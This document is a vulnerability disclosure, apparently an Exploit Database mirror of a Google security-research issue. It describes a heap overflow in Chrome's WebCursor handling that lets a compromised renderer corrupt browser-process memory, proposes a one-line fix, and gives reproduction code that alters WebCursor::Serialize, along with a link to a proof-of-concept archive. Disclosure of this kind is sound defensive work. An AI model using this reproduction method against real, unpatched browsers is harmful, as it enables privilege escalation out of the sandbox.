Google Chrome – Renderer Process to Browser Process Privilege Escalation
Source: https://code.google.com/p/google-security-research/issues/detail?id=664 There is an overflow in the ui::PlatformCursor WebCursor::GetPlatformCursor method. In src/content/common/cursors/webcursor_aurax11.cc&q=webcursor_aurax11.cc, there is the following code: bitmap.allocN32Pixels(custom_size_.width(), custom_size_.height()); memcpy(bitmap.getAddr32(0, 0), custom_data_.data(), custom_data_.size()); The bitmap buffer is allocated based on the width and height of the custom_size_, but the memcpy is performed using the size of the custom_data_. These values are set during WebCursor deserialization in src/content/common/cursors/webcursor.cc in WebCursor::Deserialize. custom_size_ is set from two integers that a deserialized from a message and can be between 0 and 1024. custom_data_ is set from a vector that is deserialized, and can be any size, unrelated to the width and height. The custom_data_ is verified not to be smaller than the expected pixel buffer based on the width and height, but can be longer. GetPlatformCursor is called indirectly by RenderWidgetHostImpl::OnSetCursor, which is called in response to a ViewHostMsg_SetCursor message from the renderer. The issue above is in the x11 implementation, but it appears also affect other platform-specific implementations other than the Windows one, which instead reads out of bounds. I recommend this issue be fixed by changing the check in WebCursor::Deserialize: if (size_x * size_y * 4 > data_len) return false; to if (size_x * size_y * 4 != data_len) return false; to prevent the issue in all platform-specific implementations. To reproduce the issue replace WebCursor::Serialize with: bool WebCursor::Serialize(base::Pickle* pickle) const { if(type_ == WebCursorInfo::TypeCustom){ LOG(WARNING) << "IN SERIALIZE\n"; if (!pickle->WriteInt(type_) || !pickle->WriteInt(hotspot_.x()) || !pickle->WriteInt(hotspot_.y()) || !pickle->WriteInt(2) || !pickle->WriteInt(1) || !pickle->WriteFloat(custom_scale_)) return false; }else{ if (!pickle->WriteInt(type_) || !pickle->WriteInt(hotspot_.x()) || !pickle->WriteInt(hotspot_.y()) || !pickle->WriteInt(custom_size_.width()) || !pickle->WriteInt(custom_size_.height()) || !pickle->WriteFloat(custom_scale_)) return false; } const char* data = NULL; if (!custom_data_.empty()) data = &custom_data_[0]; if (!pickle->WriteData(data, custom_data_.size())) return false; return SerializePlatformData(pickle); } and visit the attached html page, with the attached image in the same directory. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39039.zip |